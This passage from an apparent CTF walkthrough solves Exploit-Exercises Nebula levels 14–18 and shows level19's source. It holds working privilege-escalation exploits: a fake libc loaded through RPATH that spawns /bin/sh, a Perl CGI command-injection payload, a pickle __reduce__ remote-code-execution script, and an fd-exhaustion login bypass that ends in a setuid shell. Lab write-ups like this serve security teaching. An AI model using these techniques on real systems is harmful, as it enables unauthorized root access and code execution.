What immediately jumped out at me was the A’s that I had sent it came back as the alphabet. :D After a few tests I came to the conclusion that the key seems to start at 0, and increments with every character. Each characters ASCII value is then incremented by what ever the current value of the key is. To test this theory, I wrote a small python script to replicate this behavior:

#!/usr/bin/python

# exploit-exercises level14 cryptor

string = 'AABBCCDDEEFFGG'
key = 0
result = ''

print 'String: {s}\nStrlen: {l}\t'.format(s = string, l = len(string))

for char in string:
    print 'Key: {key}\t Char: {char}\t Ord: {ord}\t Res: {res}'.format(
        key = key, char = char, ord = ord(char), res = chr(ord(char) + key)
    )
    result += chr(ord(char) + key)
    key += 1

print '\nResult: {res}'.format(res = result)

Running this meant that the output would be:

~ # python crypt.py
String: AABBCCDDEEFFGG
Strlen: 14
Key: 0   Char: A     Ord: 65     Res: A
Key: 1   Char: A     Ord: 65     Res: B
Key: 2   Char: B     Ord: 66     Res: D
Key: 3   Char: B     Ord: 66     Res: E
Key: 4   Char: C     Ord: 67     Res: G
Key: 5   Char: C     Ord: 67     Res: H
Key: 6   Char: D     Ord: 68     Res: J
Key: 7   Char: D     Ord: 68     Res: K
Key: 8   Char: E     Ord: 69     Res: M
Key: 9   Char: E     Ord: 69     Res: N
Key: 10  Char: F     Ord: 70     Res: P
Key: 11  Char: F     Ord: 70     Res: Q
Key: 12  Char: G     Ord: 71     Res: S
Key: 13  Char: G     Ord: 71     Res: T

Result: ABDEGHJKMNPQST

The same string was checked using the flag14 cryptor:

level14@nebula:/home/flag14$ ./flag14 -e
AABBCCDDEEFFGG
ABDEGHJKMNPQST

A match :) Being able to replicate the encryption, meant that the decryption was trivial. Instead of adding 1 to the key, I simply subtracted 1 from the key in order to reverse the string in the token file:

~ # python decrypt.py
String: 857:g67?5ABBo:BtDA?tIvLDKL{MQPSRQWW.
Strlen: 36  Key start = 0
Key: 0   Char: 8     Ord: 56     Res: 8
Key: 1   Char: 5     Ord: 53     Res: 4
Key: 2   Char: 7     Ord: 55     Res: 5
Key: 3   Char: :     Ord: 58     Res: 7
Key: 4   Char: g     Ord: 103    Res: c
Key: 5   Char: 6     Ord: 54     Res: 1
Key: 6   Char: 7     Ord: 55     Res: 1
Key: 7   Char: ?     Ord: 63     Res: 8
Key: 8   Char: 5     Ord: 53     Res: -
Key: 9   Char: A     Ord: 65     Res: 8
Key: 10  Char: B     Ord: 66     Res: 8
Key: 11  Char: B     Ord: 66     Res: 7
Key: 12  Char: o     Ord: 111    Res: c
Key: 13  Char: :     Ord: 58     Res: -
Key: 14  Char: B     Ord: 66     Res: 4
Key: 15  Char: t     Ord: 116    Res: e
Key: 16  Char: D     Ord: 68     Res: 4
Key: 17  Char: A     Ord: 65     Res: 0
Key: 18  Char: ?     Ord: 63     Res: -
Key: 19  Char: t     Ord: 116    Res: a
Key: 20  Char: I     Ord: 73     Res: 5
Key: 21  Char: v     Ord: 118    Res: a
Key: 22  Char: L     Ord: 76     Res: 6
Key: 23  Char: D     Ord: 68     Res: -
Key: 24  Char: K     Ord: 75     Res: 3
Key: 25  Char: L     Ord: 76     Res: 3
Key: 26  Char: {     Ord: 123    Res: a
Key: 27  Char: M     Ord: 77     Res: 2
Key: 28  Char: Q     Ord: 81     Res: 5
Key: 29  Char: P     Ord: 80     Res: 3
Key: 30  Char: S     Ord: 83     Res: 5
Key: 31  Char: R     Ord: 82     Res: 3
Key: 32  Char: Q     Ord: 81     Res: 1
Key: 33  Char: W     Ord: 87     Res: 6
Key: 34  Char: W     Ord: 87     Res: 5
Key: 35  Char: .     Ord: 46     Res:


Result: 8457c118-887c-4e40-a5a6-33a25353165

So, to solve level14:

level14@nebula:/home/flag14$ su - flag14
Password:
flag14@nebula:~$ getflag
You have successfully executed getflag on a target account

level15

Level15’s Description:

strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary. You may wish to review how to “compile a shared library in linux” and how the libraries are loaded and processed by reviewing the dlopen manpage in depth. Clean up after yourself :)

Logged in as user level15, we see 1 file in the flag15 directory called flag15. Running it simply tells us to strace it!. Running it with strace immediately reveals a whole bunch of interesting things about flag15:

level15@nebula:/home/flag15$ strace ./flag15
execve("./flag15", ["./flag15"], [/* 20 vars */]) = 0
brk(0)                                  = 0x88c9000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb786b000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfd0bf54) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbfd0bf54) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbfd0bf54) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbfd0bf54) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbfd0bf54) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbfd0bf54) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbfd0bf54) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbfd0bf54) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbfd0bf54) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbfd0bf54) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbfd0bf54) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbfd0bf54) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbfd0bf54) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbfd0bf54) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbfd0bf54) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=3, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=33815, ...}) = 0
mmap2(NULL, 33815, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7862000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0p\222\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1544392, ...}) = 0
mmap2(NULL, 1554968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xe78000
mmap2(0xfee000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x176) = 0xfee000
mmap2(0xff1000, 10776, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xff1000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7861000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb78618d0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xfee000, 8192, PROT_READ)     = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0x199000, 4096, PROT_READ)     = 0
munmap(0xb7862000, 33815)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 1), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb786a000
write(1, "strace it!\n", 11strace it!
)            = 11
exit_group(11)                          = ?

There are plenty of attempts to load libc.so.6 from various locations! I checked out what is in /var/tmp and found the original flag15 folder there. It was empty. My initial thought were I need to give it a libc.so.6 to load, but obviously one that will be useful enough to me so that I may gain some form of code execution.

This challenge had me on another Google ride in order to understand what is going on here. From what I could gather, when a binary is compiled with gcc, it is possible to add hwcap support for different processor architectures. It is also possible to tell the linker from where it should load dynamic libraries using a rpath. In the case of flag15, the RPATH is set to /var/tmp/flag15. We can see this using readelf and looking at the dynamic section:

level15@nebula:/home/flag15$ readelf -d ./flag15

Dynamic section at offset 0xf20 contains 21 entries:
  Tag        Type                         Name/Value
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]
 0x0000000c (INIT)                       0x80482c0
 0x0000000d (FINI)                       0x80484ac

 [...]

Ok, so that kinda explained the why its loading libc.so.6 from there, but not really the ‘how this can be useful’. I was still a little stuck on the previous LD_PRELOAD hackery, but had to constantly remind myself that that environment variable will be discarded in the case of the SETUID program.

I was a little unsure how to get something useful going from here. I touched a file called libc.so.6 in /var/tmp/flag15/ and launched the binary, just to get a starting point:

level15@nebula:/var/tmp/flag15$ touch libc.so.6
level15@nebula:/var/tmp/flag15$ ~flag15/flag15
/home/flag15/flag15: error while loading shared libraries: /var/tmp/flag15/libc.so.6: file too short

I was not expecting much from that attempt, but it helped me get started. Eventually I figured I could have a look at flag15 and check which libc function I could “override??” from the RELO table:

level15@nebula:/var/tmp/flag15$ objdump -R ~flag15/flag15

/home/flag15/flag15:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a000 R_386_JUMP_SLOT   puts
0804a004 R_386_JUMP_SLOT   __gmon_start__
0804a008 R_386_JUMP_SLOT   __libc_start_main

puts() seems like an ok target for me! This is probably the function used to print the strace it! message. At this stage I figured I could take the same route as I did with the previous LD_PRELOAD attack, except this time I just ‘fake’ it in my fake libc. I looked up the puts() arguments from the man page again and started a new function:

level15@nebula:/var/tmp/flag15$ cat fake_libc.c
#include<stdio.h>
int puts(const char *s) {
    printf("Not the real puts!\n");
}

level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC fake_libc.c -o libc.so.6

level15@nebula:/var/tmp/flag15$ ~flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol __cxa_finalize, version GLIBC_2.1.3 not defined in file libc.so.6 with link time reference

Ow, that exploded pretty badly it seems. From the error message I figured the function __cxa_finalize simply did not exist in my library, so all I had to do was add it… Right? I googled the function arguments and added it to my fake libc:

level15@nebula:/var/tmp/flag15$ cat fake_libc.c
#include<stdio.h>
void __cxa_finalize(void * d) {
}

int puts(const char *s) {
    printf("Not the real puts!\n");
}
level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC fake_libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ ~flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: relocation error: /home/flag15/flag15: symbol __libc_start_main, version GLIBC_2.0 not defined in file libc.so.6 with link time reference

Oh! New error. I guess I was making progress. This time there is apparently no __libc_start_main in the library. At this stage I was a little confused as to what was going on here as this function was also in the RELO table for flag15. Anyways, as with __cxa_finalize, I Googled the function arguments for this one too and added it to my fake libc. It was also at this stage that I realized I could just use this function instead of puts, so I went ahead and deleted the other functions:

level15@nebula:/var/tmp/flag15$ cat fake_libc.c
#include<stdio.h>

int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
    return 0;
}

level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC fake_libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ ~flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
Inconsistency detected by ld.so: dl-lookup.c: 169: check_match: Assertion `version->filename == ((void *)0) || ! _dl_name_match_p (version->filename, map)' failed!

Oh! Another new error :( This time though it was not about a missing function/symbol, but rather something I could not make out by myself. I found little information about this specific error. After a really really long time of searching I finally decided to ldd flag15 again now that my fake libc is available:

level15@nebula:/var/tmp/flag15$ ldd ~flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
    linux-gate.so.1 =>  (0x00e47000)
    libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00761000)

The search term no version information available (required by was the magic that finally got me towards an answer! I came across this and this post which talks about custom linking scripts. Basically, if I were to create a file with the contents GLIBC_2.0 {}; in it and tell the linker at compile time (with -Wl) about it, then my problem will go away :)

level15@nebula:/var/tmp/flag15$ cat version.ld
GLIBC_2.0 {
};

level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC -Wl,--version-script=version.ld fake_libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ ldd ~flag15/flag15
    linux-gate.so.1 =>  (0x002b3000)
    libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00ca0000)

w00t. My ldd Error went away :)

level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC -Wl,--version-script=version.ld fake_libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ ~flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: version `GLIBC_2.1.3' not found (required by /var/tmp/flag15/libc.so.6)

Another version related error. This time though it was for GLIBC version 2.1.3. I spiraled down another Google tunnel with this one and eventually came across static linking options for the linker. Basically, with -Bstatic and -static-libgcc we tell the compiler not to link against shared libraries. So, I added these too:

level15@nebula:/var/tmp/flag15$ gcc -shared -static-libgcc -fPIC -Wl,--version-script=version.ld,-Bstatic fake_libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ ~flag15/flag15
Segmentation fault

And now we are segfaulting. Great! Not! I poked around gdb a little and prodded around. Eventually I figured I should check if my __libc_start_main function is being called before the crash:

level15@nebula:/var/tmp/flag15$ cat fake_libc.c
#include<stdio.h>

int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
    printf("hi mom!\n"); /* Added this line! */
    return 0;
}
level15@nebula:/var/tmp/flag15$ gcc -shared -static-libgcc -fPIC -Wl,--version-script=version.ld,-Bstatic fake_libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ ~flag15/flag15
hi mom!
Segmentation fault

Yes! :D So even though I am causing flag15 to crash, I have managed to introduce some code to it. I finally decided to add the system() call and recompile my fake libc.

So, to solve level15:

level15@nebula:/var/tmp/flag15$ cat fake_libc.c
#include<stdio.h>

int __libc_start_main(int (*main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)) {
    system("/bin/sh");
    return 0;
}
level15@nebula:/var/tmp/flag15$ gcc -shared -static-libgcc -fPIC -Wl,--version-script=version.ld,-Bstatic fake_libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ ~flag15/flag15
sh-4.2$ getflag
You have successfully executed getflag on a target account

level16

Level16’s Description:

There is a perl script running on port 1616.

With the description we are provided with the source code of a small Perl program:

#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub login {
  $username = $_[0];
  $password = $_[1];

  $username =~ tr/a-z/A-Z/; # conver to uppercase
  $username =~ s/\s.*//;        # strip everything after a space

  @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
  foreach $line (@output) {
      ($usr, $pw) = split(/:/, $line);


      if($pw =~ $password) {
          return 1;
      }
  }

  return 0;
}

sub htmlz {
  print("<html><head><title>Login resuls</title></head><body>");
  if($_[0] == 1) {
      print("Your login was accepted<br/>");
  } else {
      print("Your login failed<br/>");
  }
  print("Would you like a cookie?<br/><br/></body></html>\n");
}

htmlz(login(param("username"), param("password")));

This script has a seemingly less obvious command injection vulnerability. The egrep command eventually gets the $username variable. This after it has gone through 2 sets of filters, one converting the username to uppercase and another truncating everything after a space. These filters are the core of the challenge.

Similarly to the other command injections, I replicated the filters so that I could print the output and see how I could manipulate them. The biggest problem being the fact that everything was converted to uppercase. Thankfully, that got sorted really quickly when I learnt of the ${A,,} operator in bash. After quite a bit of trying different things, I finally got something that would work. I would first make the egrep happy by redirecting something to it to grep through. Once that was done, I declared a new variable A and set the command I wanted to run to it. Thereafter I converted it to lowercase and executed it wit ${A,,} and commented the rest of the line out with a hash (#).

So, to solve level16:

level16@nebula:~$ vim /var/tmp/flag16.sh
level16@nebula:~$ chmod +x /var/tmp/flag16.sh
level16@nebula:~$ cat /var/tmp/flag16.sh
#!/bin/sh
gcc /var/tmp/shell.c -o /var/tmp/flag16
chmod 4777 /var/tmp/flag16

On my host machine, I requested the web page hosting the perl script, triggering /var/tmp/flag16 to run:

~ » curl -v "http://192.168.217.239:1616/index.cgi?$(python -c 'import urllib; print urllib.urlencode({ "username" : """"</etc/passwd;A="/var/tmp/flag16.sh";${A,,};#""", "password" : "a" })')"
* Hostname was NOT found in DNS cache
*   Trying 192.168.217.239...
* Connected to 192.168.217.239 (192.168.217.239) port 1616 (#0)
> GET /index.cgi?username=%22%3C%2Fetc%2Fpasswd%3BA%3D%22%2Fvar%2Ftmp%2Fflag16.sh%22%3B%24%7BA%2C%2C%7D%3B%23&password=a HTTP/1.1
> User-Agent: curl/7.37.1
> Host: 192.168.217.239:1616
> Accept: */*
>
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Content-type: text/html
<
<html><head><title>Login resuls</title></head><body>Your login failed<br/>Would you like a cookie?<br/><br/></body></html>
* Closing connection 0

And then, just to read the flag:

level16@nebula:~$ /var/tmp/flag16
sh-4.2$ getflag
You have successfully executed getflag on a target account

level17

Level17’s Description:

There is a python script listening on port 10007 that contains a vulnerability.

With the description we are provided with the source code of a small Python program:

#!/usr/bin/python

import os
import pickle
import time
import socket
import signal

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

def server(skt):
  line = skt.recv(1024)

  obj = pickle.loads(line)

  for i in obj:
      clnt.send("why did you send me " + i + "?\n")

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)

while True:
  clnt, addr = skt.accept()

  if(os.fork() == 0):
      clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
      server(clnt)
      exit(1)

With this level, it was immediately obvious that user input was being used to unpickle. This is dangerous as user supplied code could be executed when the unpickle occurs. So, my plan was to write a simple class with a __reduce__ method to pickle and send that over the socket that this code is listening on.

So, to solve level17:

level17@nebula:/var/tmp/flag17-prep$ cat sploit.py
from netcat import Netcat
import pickle
import os

command = """gcc /var/tmp/shell.c -o /var/tmp/flag17; chmod 4777 /var/tmp/flag17"""

# setup the pickle
class DoCmd(object):
    def __reduce__(self):
        return (os.system, ('{cmd}'.format(cmd = command),))

nc =  Netcat('127.0.0.1', 10007)
nc.read()
nc.write(pickle.dumps(DoCmd()))
nc.close()

level17@nebula:/var/tmp/flag17-prep$ python sploit.py
level17@nebula:/var/tmp/flag17-prep$ /var/tmp/flag17
sh-4.2$ getflag
You have successfully executed getflag on a target account

level18

Level18’s Description:

Analyse the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it.

With the description we are provided with the source code of a small C program:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>

struct {
  FILE *debugfile;
  int verbose;
  int loggedin;
} globals;

#define dprintf(...) if(globals.debugfile) \
  fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
  fprintf(globals.debugfile, __VA_ARGS__)

#define PWFILE "/home/flag18/password"

void login(char *pw)
{
  FILE *fp;

  fp = fopen(PWFILE, "r");
  if(fp) {
      char file[64];

      if(fgets(file, sizeof(file) - 1, fp) == NULL) {
          dprintf("Unable to read password file %s\n", PWFILE);
          return;
      }
                fclose(fp);
      if(strcmp(pw, file) != 0) return;
  }
  dprintf("logged in successfully (with%s password file)\n",
      fp == NULL ? "out" : "");

  globals.loggedin = 1;

}

void notsupported(char *what)
{
  char *buffer = NULL;
  asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
  dprintf(what);
  free(buffer);
}

void setuser(char *user)
{
  char msg[128];

  sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
  printf("%s\n", msg);

}

int main(int argc, char **argv, char **envp)
{
  char c;

  while((c = getopt(argc, argv, "d:v")) != -1) {
      switch(c) {
          case 'd':
              globals.debugfile = fopen(optarg, "w+");
              if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
              setvbuf(globals.debugfile, NULL, _IONBF, 0);
              break;
          case 'v':
              globals.verbose++;
              break;
      }
  }

  dprintf("Starting up. Verbose level = %d\n", globals.verbose);

  setresgid(getegid(), getegid(), getegid());
  setresuid(geteuid(), geteuid(), geteuid());

  while(1) {
      char line[256];
      char *p, *q;

      q = fgets(line, sizeof(line)-1, stdin);
      if(q == NULL) break;
      p = strchr(line, '\n'); if(p) *p = 0;
      p = strchr(line, '\r'); if(p) *p = 0;

      dvprintf(2, "got [%s] as input\n", line);

      if(strncmp(line, "login", 5) == 0) {
          dvprintf(3, "attempting to login\n");
          login(line + 6);
      } else if(strncmp(line, "logout", 6) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "shell", 5) == 0) {
          dvprintf(3, "attempting to start shell\n");
          if(globals.loggedin) {
              execve("/bin/sh", argv, envp);
              err(1, "unable to execve");
          }
          dprintf("Permission denied\n");
      } else if(strncmp(line, "logout", 4) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "closelog", 8) == 0) {
          if(globals.debugfile) fclose(globals.debugfile);
          globals.debugfile = NULL;
      } else if(strncmp(line, "site exec", 9) == 0) {
          notsupported(line + 10);
      } else if(strncmp(line, "setuser", 7) == 0) {
          setuser(line + 8);
      }
  }

  return 0;
}

Ok. Not so small then. This program took a while to work through. Initially the vulnerability was not so obvious. I could figure out that a few flags were setting a few things inside the global struct and that a password file exists. If I was able to read the password, then I could be marked as logged in and eventually get to the line that does execve("/bin/sh", argv, envp);.

I noticed the buffer overflow and format string vulnerabilities, but considering the binary was compiled with SSP, partial RELO, and a NX stack, I figured that memory corruption was not necessarily the way to complete this one.

Lots of toying around with the program eventually got me to realize the flaw. If for some reason the program was not able to read the password file successfully, it would just log us in. The password file is /home/flag18/password and we don’t have the required permissions to move it or something. I suppose that would have been too easy anyways ;p

So what do we have left? I had to poke around and think about conditions that could make opening a file fail. Eventually I remembered about maximum file descriptors and figured it was worth a shot. What motivated this thinking was the fact that the binary has a closelog command too. So, I started to play around with ulimit, gradually reducing -n until I got to the value 4 as the one that would let me log in due to the fact that the password file could no longer being able to be read; This thanks to the maximum open files limit being reached.

Without setting the max open files, a sample run would be:

level18@nebula:~$ touch /tmp/log
level18@nebula:~$ tail -f /tmp/log &
[1] 6499

level18@nebula:~$ ~flag18/flag18 -vvv -d /tmp/log
Starting up. Verbose level = 3
login egg
got [login egg] as input
attempting to login
shell
got [shell] as input
attempting to start shell
Permission denied

Dropping the max open files to 4 though, we get:

level18@nebula:~$ ulimit -n 4

level18@nebula:~$ ~flag18/flag18 -vvv -d /tmp/log
-sh: start_pipeline: pgrp pipe: Too many open files
tail: /tmp/log: file truncated
Starting up. Verbose level = 3
login egg
got [login egg] as input
attempting to login
logged in successfully (without password file)
shell
got [shell] as input
attempting to start shell
/home/flag18/flag18: error while loading shared libraries: libncurses.so.5: cannot open shared object file: Error 24

Login worked :) We can also now call the shell command however the max open files thing looks like a problem. Luckily the binary had that closelog command that will free up a file descriptor. Rerunning the above but calling closelog before we call shell results in:

level18@nebula:~$ ~flag18/flag18 -vvv -d /tmp/log
-sh: start_pipeline: pgrp pipe: Too many open files
tail: /tmp/log: file truncated
Starting up. Verbose level = 3
login egg
got [login egg] as input
attempting to login
logged in successfully (without password file)
closelog
got [closelog] as input
shell
/home/flag18/flag18: -d: invalid option
Usage:  /home/flag18/flag18 [GNU long option] [option] ...
    /home/flag18/flag18 [GNU long option] [option] script-file ...
GNU long options:
    --debug
    --debugger
    --dump-po-strings
    --dump-strings
    --help
    --init-file
    --login
    --noediting
    --noprofile
    --norc
    --posix
    --protected
    --rcfile
    --restricted
    --verbose
    --version
Shell options:
    -irsD or -c command or -O shopt_option      (invocation only)
    -abefhkmnptuvxBCHP or -o option

Examining the error we get now together with the source code, it was clear that the arguments sent to the flag18 binary was also passed to the execve() call. That means that the error is actually sourced from the fact that sh has no -d flag. In fact, one could replicate this error by simply calling sh -d. This called for some more man page reading once again. I realized later that the error may have also been a sort of hint based on the fact that the GNU long options are shown. --rcfile seemed like a good option as it would allow me to specify a type of init script to run. I had a number of attempts to try get this into something workable. Eventually the only file I could get it to load was the logfile I was specifying when running flag18:

level18@nebula:~$ ~flag18/flag18 --rcfile -d /tmp/log -vvv
-sh: start_pipeline: pgrp pipe: Too many open files
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'r'
/home/flag18/flag18: invalid option -- 'c'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
tail: /tmp/log: file truncated
Starting up. Verbose level = 3
login egg
got [login egg] as input
attempting to login
logged in successfully (without password file)
closelog
got [closelog] as input
shell
/tmp/log: line 1: Starting: command not found
/tmp/log: line 2: got: command not found
/tmp/log: line 3: attempting: command not found
/tmp/log: line 4: syntax error near unexpected token `('
/tmp/log: line 4: `logged in successfully (without password file)'

The line Starting: command not found was as close as I could get to some form of controlled command execution. So, I created this file, exported it into my PATH and used it to prepare a small SETUID C shell.

So, to solve level18:

level18@nebula:~$ vim /var/tmp/Starting
level18@nebula:~$ chmod +x /var/tmp/Starting
level18@nebula:~$ cat /var/tmp/Starting
#!/bin/sh
/bin/sh

level18@nebula:~$ tail -f /tmp/log &
[1] 7627

level18@nebula:~$ Starting up. Verbose level = 3
got [login egg] as input
attempting to login
logged in successfully (without password file)
got [closelog] as input

level18@nebula:~$ export PATH=/var/tmp:$PATH
level18@nebula:~$ ulimit -n 4

level18@nebula:~$ ~flag18/flag18 --rcfile -d /tmp/log -vvv
-sh: start_pipeline: pgrp pipe: Too many open files
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'r'
/home/flag18/flag18: invalid option -- 'c'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
tail: /tmp/log: file truncated
Starting up. Verbose level = 3
login egg
got [login egg] as input
attempting to login
logged in successfully (without password file)
closelog
got [closelog] as input
shell

sh-4.2$ getflag
sh: start_pipeline: pgrp pipe: Too many open files
You have successfully executed getflag on a target account

level19

Level19’s Description:

There is a flaw in the below program in how it operates.

With the description we are provided with the source code of a small C program:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp)
{
  pid_t pid;
  char buf[256];
  struct stat statbuf;

  /* Get the parent's /proc entry, so we can verify its user id */

  snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());

  /* stat() it */

  if(stat(buf, &statbuf) == -1) {
      printf("Unable to check parent process\n");
      exit(EXIT_FAILURE);
  }

  /* check the owner id */

  if(statbuf.st_uid == 0) {
      /* If root started us, it is ok to start the shell */

      execve("/bin/sh", argv, envp);
      err(1, "Unable to execve");
  }

  printf("You are unauthorized to run this program\n");
}

